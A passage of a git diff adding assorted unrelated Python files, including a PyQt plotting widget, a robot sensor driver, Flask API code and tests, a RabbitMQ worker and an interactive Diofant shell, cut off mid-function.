+
+        self.layout.addWidget(self.lbl1    , 1, 0, 1, 1, QtCore.Qt.AlignRight)
+        self.layout.addWidget(self.CBox1   , 1, 1, 1, 1, QtCore.Qt.AlignCenter)
+        self.layout.addWidget(self.pbClose , 7, 0, 1, 2, QtCore.Qt.AlignCenter)
+
+        self.show()
+        #------------------------------------------------------------------------#
+
+
+    def displayGraph(self):
+
+        atom = self.CBox1.currentIndex() + 1
+        
+        self.MeanSquaredDeplacement = Analysis.MSD(self.file,atom)
+
+        x = self.MeanSquaredDeplacement.getX()
+        y = self.MeanSquaredDeplacement.getMSD()
+         
+        try:
+            self.graphMSD.update(x,y,'step', "Mean squared deplacement",name = self.name)
+            self.graphMSD.addPlot(x,linspace(1,1,len(x)))
+            self.graphMSD.show()
+        except:
+            self.graphMSD = Graph.graphic(x,y,'step', "Mean squared deplacement", average=False,name = self.name)
+            self.connect(self.graphMSD, QtCore.SIGNAL("myCustomizedSignal()"), self.close)
+            self.graphMSD.show()
+
+
+    def update(self,pfile):
+        self.file = pfile
+        atom = self.CBox1.currentIndex() + 1
+        try:
+            self.MeanSquaredDeplacement = Analysis.MSD(self.file,atom)
+            x = self.MeanSquaredDeplacement.getX()
+            y = self.MeanSquaredDeplacement.getMSD()
+            self.graphMSD.update(x,y,'step', "Mean squared deplacement",name = self.name)
+            self.graphMSD.addPlot(x,linspace(1,1,len(x)))
+        except:
+            pass
+
+    def close(self):
+        del self.graphMSD
+        del self
+    
+    def closeEvent(self, event):
+        try:
+            del self.graphMSD
+        except:
+            pass
+        try:
+            del self
+        except:
+            pass     
+        
+    def center(self):
+        screen = QtGui.QDesktopWidget().screenGeometry()
+        size =  self.geometry()
+        self.move((screen.width()-size.width())/2, (screen.height()-size.height())/2)
diff --git a/pool/shard000/Python/0008784_lProximitysensor.py b/pool/shard000/Python/0008784_lProximitysensor.py
new file mode 100644
index 0000000000000000000000000000000000000000..f08fabd5c58e1d1c85c584bd7fe860d6ac5ba609
--- /dev/null
+++ b/pool/shard000/Python/0008784_lProximitysensor.py
@@ -0,0 +1,136 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+'''
+    Copyright © 2016 by Michael Keil
+    
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+'''
+import logging
+import struct
+
+import ldvbot
+import lCommunication
+import lMisc
+
+
+class proximitysensor:
+    
+    '''
+    proximity sensor LDVbot
+    '''
+
+    def __init__(self, bot):
+        """
+        Constructor 
+        
+        :parameter: bot
+        :pType: ldvbot.robot
+        """
+        if isinstance(bot, ldvbot.robot):
+            self._robot = bot
+            self._communication = lCommunication.communication(self._robot)
+    
+        else:
+            logging.error('Parameter has to be of type robot')
+            raise ValueError("Parameter has to be of type robot") 
+        
+    def getValues(self):
+        """
+        Getter proximity sensor 
+        
+        :return: proximity sensor values
+        :rType: tuple [0, 0, 0, 0, 0, 0, 0, 0] all values in {0,1}
+        """
+        if not self._robot.getConnectionStatus():
+            logging.exception('No connection available')
+            raise Exception, 'No connection available'
+        
+        _rNumber = self._robot.getRNumber()
+        order = [_rNumber, 4, 3, 1]
+        response = self._communication.send_receive(order)
+        i = 0
+        while response == 'fail':
+            response = self._communication.send_receive(order)
+            if i > 4:
+                return lMisc.fail(20)
+            i = i + 1
+        while int(response[0]) != _rNumber:
+            response = self._communication.receive(order)
+        if int(response[0]) == _rNumber:
+            if response[2] != '102':
+                data_response = lMisc.fail(response[2])
+            else:
+                data_response = lMisc.to_bin(response[3], 8)
+        else:
+            data_response = lMisc.fail(55)
+        
+        logging.debug(data_response)
+        return data_response  
+            
+    def setSensitivity(self, sens):  # Set the threshold value for the distance sensors
+        """
+        Setter proximity sensor sensitivity
+        
+        :parameter: sens
+        :pType: Integer [0,1023]
+        """
+        if not self._robot.getConnectionStatus():
+            logging.exception('No connection available')
+            raise Exception, 'No connection available'
+        
+        if not 0 <= sens <= 1023:
+            raise ValueError('ERROR: Invalid parameter for "sens"! (0 - 1023 expected)')
+        sens_tmp = struct.unpack('BB', struct.pack('H', sens))
+        sens_int1 = sens_tmp[0]
+        sens_int2 = sens_tmp[1]
+        order = [self._robot.getRNumber(), 5, 201, sens_int1, sens_int2]
+        logging.debug(order)
+        i = 0
+        while self._communication.send(order) == 'fail':
+            if i > 4:
+                return lMisc.fail(20)
+            i = i + 1  
+            
+    def getSensitivity(self):  # Get the threshold value for the distance sensors
+        """
+        Getter proximity sensor sensitivity
+        
+        :return: sensitivity
+        :rType: Integer [0,1023]
+        """
+        if not self._robot.getConnectionStatus():
+            logging.exception('No connection available')
+            raise Exception, 'No connection available'
+        
+        _rNumber = self._robot.getRNumber()
+        order = [_rNumber, 3, 207]
+        response = self._communication.send_receive(order)
+        i = 0
+        while response == 'fail':
+            response = self._communication.send_receive(order)
+            if i > 4:
+                return lMisc.fail(20)
+            i = i + 1
+        while int(response[0]) != _rNumber:
+            response = self._communication.receive(order)
+        if int(response[0]) == _rNumber:
+            if response[2] != '108':
+                data_response = lMisc.fail(response[2])
+            else:
+                data_response = (int(response[4]) << 8) + int(response[3])
+        else:
+            data_response = lMisc.fail(55)
+        
+        logging.debug(data_response)
+        return data_response   
\ No newline at end of file
diff --git a/pool/shard000/Python/0008788_object.py b/pool/shard000/Python/0008788_object.py
new file mode 100644
index 0000000000000000000000000000000000000000..9a530ad2965d1273b57d0c62e8e28469aeb45ca3
--- /dev/null
+++ b/pool/shard000/Python/0008788_object.py
@@ -0,0 +1,86 @@
+# engine.physics.object
+
+import os
+from pygame.sprite import Sprite
+from ..engine import Engine
+
+class Object:
+	def __init__(self, position, dimensions, collidable):
+		super().__init__()
+		self._posX        = position[0]
+		self._posY        = position[1]
+		self._width       = dimensions[0]
+		self._height      = dimensions[1]
+		self._collidable  = collidable
+		self._surface     = None
+		self._rect        = None
+		self._sprite      = None
+
+	@property
+	def image(self):
+		return self._surface
+
+	def setImage(self, imagePath):
+		image = Engine.PyGame.image.load(os.path.join(imagePath))
+		image.convert()
+		image              = Engine.PyGame.transform.scale(image,
+			(self._width, self._height))
+		self._surface      = image
+		self._rect         = image.get_rect()
+		self._sprite       = Sprite()
+		self._sprite.image = self._surface
+		self.updateRect()
+
+	def updateRect(self):
+		self._rect.x      = self._posX
+		self._rect.y      = self._posY
+		self._sprite.rect = self._rect
+
+	@property
+	def surface(self):
+		return self._surface
+
+	@property
+	def sprite(self):
+		return self._sprite
+
+	@property
+	def position(self):
+		return (self._posX, self._posY)
+
+	@position.setter
+	def position(self, position):
+		self._posX = position[0]
+		self._posY = position[1]
+		self.updateRect()
+
+	@property
+	def positionX(self):
+		return self._posX
+
+	@positionX.setter
+	def positionX(self, x):
+		self._posX = x
+		self.updateRect()
+
+	@property
+	def positionY(self):
+		return self._posY
+
+	@positionY.setter
+	def positionY(self, y):
+		self._posY = y
+		self.updateRect()
+
+	@property
+	def rectangle(self):
+		return self._rect
+
+	@property
+	def dimensions(self):
+		return (self._width, self._height)
+
+	@dimensions.setter
+	def dimensions(self, dimensions):
+		self._width  = dimensions[0]
+		self._height = dimensions[1]
diff --git a/pool/shard000/Python/0008794_test_schema.py b/pool/shard000/Python/0008794_test_schema.py
new file mode 100644
index 0000000000000000000000000000000000000000..cff2c646bff6f47ea5598ce0d7732f38ad5bc83e
--- /dev/null
+++ b/pool/shard000/Python/0008794_test_schema.py
@@ -0,0 +1,47 @@
+import json
+import uuid
+
+import pytest
+from jsonschema import ValidationError
+
+from app.schema_validation import validate
+from app.service.service_callback_api_schema import (
+    update_service_callback_api_schema,
+)
+
+
+def test_service_callback_api_schema_validates():
+    under_test = {"url": "https://some_url.for_service",
+                  "bearer_token": "something_ten_chars",
+                  "updated_by_id": str(uuid.uuid4())
+                  }
+
+    validated = validate(under_test, update_service_callback_api_schema)
+    assert validated == under_test
+
+
+@pytest.mark.parametrize("url", ["not a url", "https not a url", "http://valid.com"])
+def test_service_callback_api_schema_errors_for_url_not_valid_url(url):
+    under_test = {"url": url,
+                  "bearer_token": "something_ten_chars",
+                  "updated_by_id": str(uuid.uuid4())
+                  }
+
+    with pytest.raises(ValidationError) as e:
+        validate(under_test, update_service_callback_api_schema)
+    errors = json.loads(str(e.value)).get('errors')
+    assert len(errors) == 1
+    assert errors[0]['message'] == "url is not a valid https url"
+
+
+def test_service_callback_api_schema_bearer_token_under_ten_char():
+    under_test = {"url": "https://some_url.for_service",
+                  "bearer_token": "shorty",
+                  "updated_by_id": str(uuid.uuid4())
+                  }
+
+    with pytest.raises(ValidationError) as e:
+        validate(under_test, update_service_callback_api_schema)
+    errors = json.loads(str(e.value)).get('errors')
+    assert len(errors) == 1
+    assert errors[0]['message'] == "bearer_token shorty is too short"
diff --git a/pool/shard000/Python/0008796_test_app_details.py b/pool/shard000/Python/0008796_test_app_details.py
new file mode 100644
index 0000000000000000000000000000000000000000..8f4bc4eaddbfca660eb3c56cdd6e92110109fa20
--- /dev/null
+++ b/pool/shard000/Python/0008796_test_app_details.py
@@ -0,0 +1,140 @@
+from __future__ import absolute_import
+
+import json
+import mock
+
+from freight.models import App
+from freight.testutils import TestCase
+
+
+class AppDetailsBase(TestCase):
+    def setUp(self):
+        self.user = self.create_user()
+        self.repo = self.create_repo()
+        self.app = self.create_app(repository=self.repo)
+        self.path = '/api/0/apps/{}/'.format(self.app.id)
+        super(AppDetailsBase, self).setUp()
+
+
+class AppDetailsTest(AppDetailsBase):
+    def test_simple(self):
+        resp = self.client.get(self.path)
+        assert resp.status_code == 200
+        data = json.loads(resp.data)
+        assert data['id'] == str(self.app.id)
+
+
+class AppUpdateTest(AppDetailsBase):
+    def test_simple(self):
+        resp = self.client.put(self.path, data={
+            'name': 'foobar',
+            'provider': 'shell',
+            'provider_config': '{"command": "/usr/bin/true", "timeout": 50}',
+            'notifiers': '[{"type": "slack", "config": {"webhook_url": "https://example.com"}}]',
+            'checks': '[{"type": "github", "config": {"contexts": ["travisci"], "repo": "getsentry/freight"}}]',
+            'repository': 'git@example.com:repo-name.git',
+            'environments': '{"staging": {"default_ref": "develop"}}',
+        })
+        assert resp.status_code == 200
+        data = json.loads(resp.data)
+        assert data['id'] == str(self.app.id)
+
+        app = App.query.get(self.app.id)
+        assert app.name == 'foobar'
+        assert app.provider == 'shell'
+        assert app.provider_config['command'] == '/usr/bin/true'
+        assert app.provider_config['timeout'] == 50
+        assert app.notifiers == [
+            {'type': 'slack', 'config': {'webhook_url': 'https://example.com'}},
+        ]
+
+        assert len(app.checks) == 1
+        assert app.checks[0]['type'] == 'github'
+        assert app.checks[0]['config'] == {'contexts': ['travisci'], 'repo': 'getsentry/freight'}
+        assert len(app.environments) == 1
+        assert app.environments['staging'] == {'default_ref': 'develop'}
+
+    def test_no_params(self):
+        resp = self.client.put(self.path)
+        assert resp.status_code == 200
+        data = json.loads(resp.data)
+        assert data['id'] == str(self.app.id)
+
+        app = App.query.get(self.app.id)
+        assert app.name == self.app.name
+        assert app.provider == self.app.provider
+        assert app.provider_config == self.app.provider_config
+
+    def test_invalid_provider(self):
+        resp = self.client.put(self.path, data={
+            'provider': 'invalid',
+        })
+        assert resp.status_code == 400
+        data = json.loads(resp.data)
+        assert data['error_name'] == 'invalid_provider'
+
+    def test_invalid_provider_config(self):
+        resp = self.client.put(self.path, data={
+            'provider': 'shell',
+            'provider_config': '{}',
+        })
+        assert resp.status_code == 400
+        data = json.loads(resp.data)
+        assert data['error_name'] == 'invalid_provider'
+
+    def test_invalid_notifier(self):
+        resp = self.client.put(self.path, data={
+            'notifiers': '[{"type": "invalid"}]',
+        })
+        assert resp.status_code == 400
+        data = json.loads(resp.data)
+        assert data['error_name'] == 'invalid_notifier'
+
+    def test_invalid_notifier_config(self):
+        resp = self.client.put(self.path, data={
+            'notifiers': '[{"type": "slack", "config": {}}]',
+        })
+        assert resp.status_code == 400
+        data = json.loads(resp.data)
+        assert data['error_name'] == 'invalid_notifier'
+
+    def test_invalid_check(self):
+        resp = self.client.put(self.path, data={
+            'checks': '[{"type": "invalid"}]',
+        })
+        assert resp.status_code == 400
+        data = json.loads(resp.data)
+        assert data['error_name'] == 'invalid_check'
+
+    def test_invalid_check_config(self):
+        resp = self.client.put(self.path, data={
+            'checks': '[{"type": "github", "config": {}}]',
+        })
+        assert resp.status_code == 400
+        data = json.loads(resp.data)
+        assert data['error_name'] == 'invalid_check'
+
+    def test_invalid_environments_type(self):
+        resp = self.client.put(self.path, data={
+            'environments': '[{"type": "github", "config": {}}]',
+        })
+        assert resp.status_code == 400
+        data = json.loads(resp.data)
+        assert data['error_name'] == 'invalid_environment'
+
+        resp = self.client.put(self.path, data={
+            'environments': '{"foo": []}',
+        })
+        assert resp.status_code == 400
+        data = json.loads(resp.data)
+        assert data['error_name'] == 'invalid_environment'
+
+
+class AppDeleteTest(AppDetailsBase):
+    @mock.patch('freight.config.celery.send_task')
+    def test_simple(self, mock_send_task):
+        self.create_task(app=self.app, user=self.user)
+        resp = self.client.delete(self.path)
+        assert resp.status_code == 200
+
+        mock_send_task.assert_called_once_with('freight.delete_object', kwargs={'model': 'App', 'app_id': self.app.id})
diff --git a/pool/shard000/Python/0008797_setup.py b/pool/shard000/Python/0008797_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..01a1762f28f5422eb99d5e9d62591dbdc59457bb
--- /dev/null
+++ b/pool/shard000/Python/0008797_setup.py
@@ -0,0 +1,72 @@
+from distutils.core import setup
+from distutils.extension import Extension
+
+cmdclass = { }
+
+try:
+    from Cython.Distutils import build_ext
+    cmdclass.update({ 'build_ext': build_ext })
+    EXT = ".pyx"
+except:
+    EXT = ".c"
+
+NAME = "cypyserialize"
+VERSION = "1.0.4"
+DESCR = "Really easy, really quick, binary parser framework for Python"
+
+try:
+   import pypandoc
+   LONG_DESC = pypandoc.convert('README.md', 'rst')
+except (IOError, ImportError):
+   LONG_DESC = open('README.md').read()
+
+URL = "https://github.com/wrenoud/cypyserialize"
+DOWNLOAD_URL = "https://github.com/wrenoud/cypyserialize/tarball/" + VERSION
+
+AUTHOR = "Weston Renoud"
+EMAIL = "wrenoud@gmail.com"
+
+LICENSE = "Apache 2.0"
+
+SRC_DIR = ".\\" + NAME
+PACKAGES = [NAME]
+
+EXTENSIONS = [
+    Extension(
+        "variant",
+        [SRC_DIR + '/variant' + EXT],
+        libraries=[]
+    ),
+    Extension(
+        "serializers",
+        [SRC_DIR + '/serializers' + EXT],
+        libraries=[]
+    ),
+    Extension(
+        "serializable",
+        [SRC_DIR + '/serializable' + EXT],
+        libraries=[]
+    )
+]
+
+REQUIRES = []
+
+
+setup(
+    name=NAME,
+    packages=PACKAGES,
+    version=VERSION,
+    description=DESCR,
+    long_description=LONG_DESC,
+    author=AUTHOR,
+    author_email=EMAIL,
+    url=URL,
+    download_url=DOWNLOAD_URL,
+    keywords=['testing', 'logging', 'example'],  # arbitrary keywords
+    classifiers=[],
+    license=LICENSE,
+    cmdclass=cmdclass,
+    ext_package=NAME,
+    ext_modules=EXTENSIONS,
+    install_requires=REQUIRES,
+)
diff --git a/pool/shard000/Python/0008803_api.py b/pool/shard000/Python/0008803_api.py
new file mode 100644
index 0000000000000000000000000000000000000000..cec3ac64d990943afd9a54597a125a15ed17e4f7
--- /dev/null
+++ b/pool/shard000/Python/0008803_api.py
@@ -0,0 +1,114 @@
+# -*- coding: utf-8 -*-
+from flask import Blueprint, jsonify, current_app, request
+
+from ..webapp import db, redis, basic_auth
+from ..action import (stats, scanner, record_manager, genre_manager, user_settings,
+                      scan_manager, export_manager, debug)
+
+bp = Blueprint('api', __name__)
+
+
+@bp.before_request
+def check_auth():
+    if not basic_auth.authenticate():
+        return basic_auth.challenge()
+
+
+@bp.route('/stats')
+def get_stats():
+    overview = stats.get_overview(db.session)
+    scans = stats.active_scans(db.session)
+    return jsonify({'stats': overview, 'scans': scans})
+
+
+@bp.route('/run_scan/<int:genre_id>')
+@bp.route('/run_scan/', defaults={'genre_id': None})
+def run_scan(genre_id):
+    sc = scanner.Scanner(current_app.config, db.session, redis._redis_client)
+    try:
+        sc.enqueue_scan(genre_id)
+    except scanner.ScanError as e:      # Scan already queued
+        return jsonify({'success': False, 'message': str(e)})
+    else:
+        return jsonify({'success': True})
+
+
+@bp.route('/abort_scan/<int:scan_id>')
+@bp.route('/abort_scan/', defaults={'scan_id': None})
+def abort_scan(scan_id=None):
+    scn = scanner.Scanner(current_app.config, db.session, redis)
+
+    if scan_id is None:
+        scan_id = int(request.args.get('scan_id'))
+
+    try:
+        scn.abort_scan(scan_id)
+    except scanner.ScanError as e:  # no such scan or scan not started
+        return jsonify({'success': False, 'message': str(e)})
+    else:
+        return jsonify({'success': True})
+
+
+@bp.route('/update_genre')
+def update_genre():
+    genre_id = int(request.args['gid'])
+    field = request.args['f']
+    value = int(request.args['v'])
+    genman = genre_manager.GenreManager(db.session)
+    genre = genman.get(genre_id)
+    setattr(genre, field, value)
+    return jsonify({'success': True})
+
+
+@bp.route('/record_list')
+def record_list():
+    filters = {k[2:]: int(v) for k, v in request.args.items() if k.startswith('f_') and v}
+    search_term = request.args.get('search', None)
+    order = request.args.get('order', 'id')
+    offset = request.args.get('offset', 0)
+
+    recman = record_manager.RecordManager(db.session)
+    records = recman.list(filters=filters, search=search_term, order=order,
+                          offset=offset)
+    return jsonify({'records': [rec.to_dict() for rec in records]})
+
+
+@bp.route('/record/<int:rec_id>/toggle_flag')
+def toggle_record_flag(rec_id):
+    flagname = request.args.get('flagname')
+    recman = record_manager.RecordManager(db.session)
+    return jsonify({'success': recman.toggle_flag(rec_id, flagname)})
+
+
+@bp.route('/save_settings', methods=['POST'])
+def save_settings():
+    settings = user_settings.UserSettings(db.session)
+
+    for item in request.json:
+        settings[item['name']] = item['value']
+
+    return jsonify({'success': True})
+
+
+@bp.route('/run_scheduled')
+def run_scheduled():
+    """
+        Run regular scheduled task
+    """
+    sc = scanner.Scanner(current_app.config, db.session, redis._redis_client)
+    rv = sc.tick()
+    return jsonify(rv)
+
+
+@bp.route('/tidy')
+def tidy():
+    """
+        Run daily cleanup
+    """
+    sm = scan_manager.ScanManager(db.session)
+    sm.clean_up_old_scans()
+    em = export_manager.ExportManager(db.session)
+    em.clean_up_old_exports()
+    dumps_glob = "{}/*.html".format(current_app.config['LOGS_DIR'])
+    debug.clean_old_dumps(dumps_glob)
+    return jsonify({'success': True})
diff --git a/pool/shard000/Python/0008809_rabbitmq_worker.py b/pool/shard000/Python/0008809_rabbitmq_worker.py
new file mode 100644
index 0000000000000000000000000000000000000000..4cb384236a0afbabddeb2f9eae0da09c5f2187fb
--- /dev/null
+++ b/pool/shard000/Python/0008809_rabbitmq_worker.py
@@ -0,0 +1,209 @@
+#!venv/bin/python
+"""SCO Workflow Engine Server - Implementation of the workflow server as a
+RabbitMQ worker.
+"""
+import getopt
+import json
+import logging
+import pika
+import sys
+
+from scocli import SCOClient
+from scodata import SCODataStore
+from scodata.mongo import MongoDBFactory
+from scoengine import ModelRunRequest, SCOEngine
+from scoworker import SCODataStoreWorker, SCOClientWorker
+
+
+# ------------------------------------------------------------------------------
+#
+# Global Variables
+#
+# ------------------------------------------------------------------------------
+
+# Worker instance to handle model run request
+worker = None
+
+
+# ------------------------------------------------------------------------------
+#
+# RabbitMQ Callback handle
+#
+# ------------------------------------------------------------------------------
+
+def callback(ch, method, properties, body):
+    """Callback handler for client requests. Uses local worker, i.e. expects to
+    be running on the same machine as the SCO data store.
+    """
+    # Acknowledge that message is received. NOTE: There seems to be an issue
+    # with redelivering messages when we have multiple workers. Thus, for now
+    # we acknowledge immediately
+    ch.basic_ack(delivery_tag = method.delivery_tag)
+    # Read model run request (expects Json object)
+    try:
+        request = ModelRunRequest.from_dict(json.loads(body))
+    except Exception as ex:
+        logging.exception(ex)
+        #ch.basic_ack(delivery_tag = method.delivery_tag)
+        return
+    # Request identifier for logging purposes
+    req_id = request.experiment_id + ':' + request.run_id
+    # Run request using local worker
+    logging.info('Start model run [' + req_id + ']')
+    worker.run(request)
+    logging.info('Done [' + req_id + ']')
+
+
+def handle_requests(hostname, port, virtual_host, queue, user, password):
+    """Put all code to handle requests into one routine. Allows to catch
+    ConnectionClosed exceptions without having the worker exit.
+    """
+    # Establish connection with RabbitMQ server
+    logging.info('Start : [HOST=' + hostname + ', QUEUE=' + queue + ']')
+    credentials = pika.PlainCredentials(user, password)
+    con = pika.BlockingConnection(pika.ConnectionParameters(
+        host=hostname,
+        port=port,
+        virtual_host=virtual_host,
+        credentials=credentials
+    ))
+    channel = con.channel()
+    channel.queue_declare(queue=queue, durable=True)
+    # Fair dispatch. Never give a worker more than one message
+    channel.basic_qos(prefetch_count=1)
+    # Set callback handler to read requests and run the predictive model
+    channel.basic_consume(callback, queue=queue)
+    # Done. Start by waiting for requests
+    logging.info('Waiting for requests. To exit press CTRL+C')
+    channel.start_consuming()
+
+
+if __name__ == '__main__':
+    """Run the RabbitMQ worker. Usage:
+
+    rabbitmq_worker [parameters]
+
+    Parameters:
+    -----------
+
+    -c, --port <port>         : Port that the RabbitMQ server is listening on (default: 5672)
+    -d, --data <data-dir>     : Path to data store directory or client cache (default '/tmp/sco')
+    -e, --env= <subject_dir>  : Path to directory for average subject [mandatory]
+    -h, --host= <hostname>    : Name of host running RabbitMQ server (default: localhost)
+    -l, --log= <filename>     : Log file name (default: standard output)
+    -m, --mongodb= <db-name>  : Name of MongoDB database for local datastore worker (default: sco)
+    -p, --password <pwd>      : RabbitMQ user password (default: '')
+    -q, --queue= <quename>    : Name of RabbitMQ message queue (default: sco)
+    -s, --server <url>        : Url for SCO Web API server (only if remote worker is used)
+    -u, --user <username>     : RabbitMQ user (default: sco)
+    -v, --vhost <virtualhost> : RabbitMQ virtual host name
+    """
+    # Configuration parameter
+    data_dir = '/tmp/sco'
+    mongo_db = 'sco'
+    env_dir = None
+    hostname = 'localhost'
+    queue = 'sco'
+    logfile = None
+    password = ''
+    port = 5672
+    remote_worker = False
+    server_url = None
+    user = 'sco'
+    virtual_host = '/'
+    # Get command line arguments
+    try:
+        opts, args = getopt.getopt(
+            sys.argv[1:],
+            'c:d:e:h:q:l:m:p:s:u:v:',
+            ['data=', 'env=', 'host=', 'queue=', 'log=', 'mongodb=', 'password=', 'port=', 'server=', 'user=', 'vhost=']
+        )
+    except getopt.GetoptError:
+        print """rabbitmq_worker [parameters]
+
+        Parameters:
+        -----------
+
+        -c, --port <port>         : Port that the RabbitMQ server is listening on (default: 5672)
+        -d, --data <data-dir>     : Path to data store directory or client cache (default '/tmp/sco')
+        -e, --env= <subject_dir>  : Path to directory for average subject [mandatory]
+        -h, --host= <hostname>    : Name of host running RabbitMQ server (default: localhost)
+        -l, --log= <filename>     : Log file name (default: standard output)
+        -m, --mongodb= <db-name>  : Name of MongoDB database for local datastore worker (default: sco)
+        -p, --password <pwd>      : RabbitMQ user password (default: '')
+        -q, --queue= <quename>    : Name of RabbitMQ message queue (default: sco)
+        -s, --server <url>        : Url for SCO Web API server (only if remote worker is used)
+        -u, --user <username>     : RabbitMQ user (default: sco)
+        -v, --vhost <virtualhost> : RabbitMQ virtual host name (default: /)
+        """
+        sys.exit()
+    for opt, param in opts:
+        if opt in ('-c', '--port'):
+            try:
+                port = int(param)
+            except ValueError as ex:
+                print 'Invalid port: ' + param
+                sys.exit()
+        elif opt in ('-d', '--data'):
+            data_dir = param
+        elif opt in ('-e', '--env'):
+            env_dir = param
+        elif opt in ('-h', '--host'):
+            hostname = param
+        elif opt in ('-l', '--log'):
+            logfile = param
+        elif opt in ('-m', '--mongodb'):
+            mongo_db = param
+        elif opt in ('-p', '--password'):
+            password = param
+        elif opt in ('-q', '--queue'):
+            queue = param
+        elif opt in ('-r', '--remote'):
+            remote_worker = True
+        elif opt in ('-s', '--server'):
+            # Only if the server Url is given the remote worker is used
+            server_url = param
+            remote_worker = True
+        elif opt in ('-u', '--user'):
+            user = param
+        elif opt in ('-v', '--vhost'):
+            virtual_host = param
+    # Ensure that mandatory parameter -e|--env was given
+    if env_dir is None:
+        print 'Missing value for parameter -e | --env'
+        sys.exit()
+    # Initialize message and error logging
+    if not logfile is None:
+        logging.basicConfig(
+            filename=logfile,
+            level=logging.INFO,
+            format='%(asctime)s %(levelname)s:%(message)s'
+        )
+    else:
+        logging.basicConfig(
+            level=logging.INFO,
+            format='%(asctime)s %(levelname)s:%(message)s'
+        )
+    # Set worker instance based on given parameter
+    if remote_worker:
+        worker = SCOClientWorker(
+            SCOClient(api_url=server_url, data_dir=data_dir),
+            env_dir
+        )
+        logging.info('Worker : [Remote]')
+    else:
+        mongo = MongoDBFactory(db_name=mongo_db)
+        worker = SCODataStoreWorker(
+            SCODataStore(mongo, data_dir),
+            SCOEngine(mongo),
+            env_dir
+        )
+        logging.info('Worker : [Local]')
+    # Start an endless loop to handle requests. Necessary because pika throws
+    # ConnectionClosed exception occasionally when sending acknowledgement. This
+    # way we can keep a remote worker alive by re-connecting.
+    while True:
+        try:
+            handle_requests(hostname, port, virtual_host, queue, user, password)
+        except pika.exceptions.ConnectionClosed as ex:
+            logging.exception(ex)
diff --git a/pool/shard000/Python/0008814_qa_sss_tagger_cc.py b/pool/shard000/Python/0008814_qa_sss_tagger_cc.py
new file mode 100644
index 0000000000000000000000000000000000000000..fd417f649ac1a4ab9fba22ad4d63b08099c46fd1
--- /dev/null
+++ b/pool/shard000/Python/0008814_qa_sss_tagger_cc.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# 
+# Copyright 2013 Communications Engineering Lab (CEL) / Karlsruhe Institute of Technology (KIT)
+# 
+# This is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 3, or (at your option)
+# any later version.
+# 
+# This software is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+# 
+# You should have received a copy of the GNU General Public License
+# along with this software; see the file COPYING.  If not, write to
+# the Free Software Foundation, Inc., 51 Franklin Street,
+# Boston, MA 02110-1301, USA.
+# 
+
+from gnuradio import gr, gr_unittest
+import lte_swig as lte
+
+class qa_sss_tagger_cc (gr_unittest.TestCase):
+
+    def setUp (self):
+        self.tb = gr.top_block ()
+
+    def tearDown (self):
+        self.tb = None
+
+    def test_001_t (self):
+        # set up fg
+        self.tb.run ()
+        # check data
+
+
+if __name__ == '__main__':
+    gr_unittest.run(qa_sss_tagger_cc, "qa_sss_tagger_cc.xml")
diff --git a/pool/shard000/Python/0008822_main__.py b/pool/shard000/Python/0008822_main__.py
new file mode 100644
index 0000000000000000000000000000000000000000..aad402c5c0f7cf266edc7b4c56f4494edd81e5fb
--- /dev/null
+++ b/pool/shard000/Python/0008822_main__.py
@@ -0,0 +1,119 @@
+"""
+Python shell for Diofant.
+
+This is just a normal Python shell (IPython shell if you have the
+IPython package installed), that adds default imports and run
+some initialization code.
+"""
+
+import argparse
+import ast
+import atexit
+import code
+import os
+import readline
+import rlcompleter
+
+from diofant.interactive.session import (AutomaticSymbols,
+                                         IntegerDivisionWrapper)
+
+
+__all__ = ()
+
+
+parser = argparse.ArgumentParser(description=__doc__,
+                                 prog='python -m diofant')
+parser.add_argument('--no-wrap-division',
+                    help="Don't wrap integer divisions with Fraction",
+                    action='store_true')
+parser.add_argument('-a', '--auto-symbols',
+                    help="Automatically create missing Symbol's",
+                    action='store_true')
+parser.add_argument('--no-ipython', help="Don't use IPython",
+                    action='store_true')
+
+
+def main():
+    args, ipython_args = parser.parse_known_args()
+
+    lines = ['from diofant import *',
+             'init_printing()',
+             "x, y, z, t = symbols('x y z t')",
+             "k, m, n = symbols('k m n', integer=True)",
+             "f, g, h = symbols('f g h', cls=Function)",
+             'init_printing(pretty_print=True, use_unicode=True)']
+
+    try:
+        import IPython
+        import traitlets
+    except ImportError:
+        args.no_ipython = True
+
+    if not args.no_ipython:
+        config = traitlets.config.loader.Config()
+        shell = config.InteractiveShell
+        ast_transformers = shell.ast_transformers
+        if not args.no_wrap_division:
+            ast_transformers.append(IntegerDivisionWrapper())
+        shell.confirm_exit = False
+        config.TerminalIPythonApp.display_banner = False
+        config.TerminalInteractiveShell.autoformatter = None
+
+        app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)
+        app.initialize(ipython_args)
+        shell = app.shell
+        for l in lines:
+            shell.run_cell(l, silent=True)
+        if args.auto_symbols:
+            shell.run_cell('from diofant.interactive.session import AutomaticSymbols')
+            shell.run_cell('ip = get_ipython()')
+            shell.run_cell('ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')
+            shell.run_cell('del ip')
+        app.start()
+    else:
+        ast_transformers = []
+        ns = {}
+
+        if not args.no_wrap_division:
+            ast_transformers.append(IntegerDivisionWrapper())
+        if args.auto_symbols:
+            ast_transformers.append(AutomaticSymbols(ns))
+
+        class DiofantConsole(code.InteractiveConsole):
+            """An interactive console with readline support."""
+
+            def __init__(self, ast_transformers=[], **kwargs):
+                super().__init__(**kwargs)
+
+                readline.set_completer(rlcompleter.Completer(ns).complete)
+                readline.parse_and_bind('tab: complete')
+
+                history = os.path.expanduser('~/.python_history')
+                readline.read_history_file(history)
+                atexit.register(readline.write_history_file, history)
+                self.ast_transformers = ast_transformers
+
+            def runsource(self, source, filename='<input>', symbol='single'):
+                try:
+                    tree = ast.parse(source)
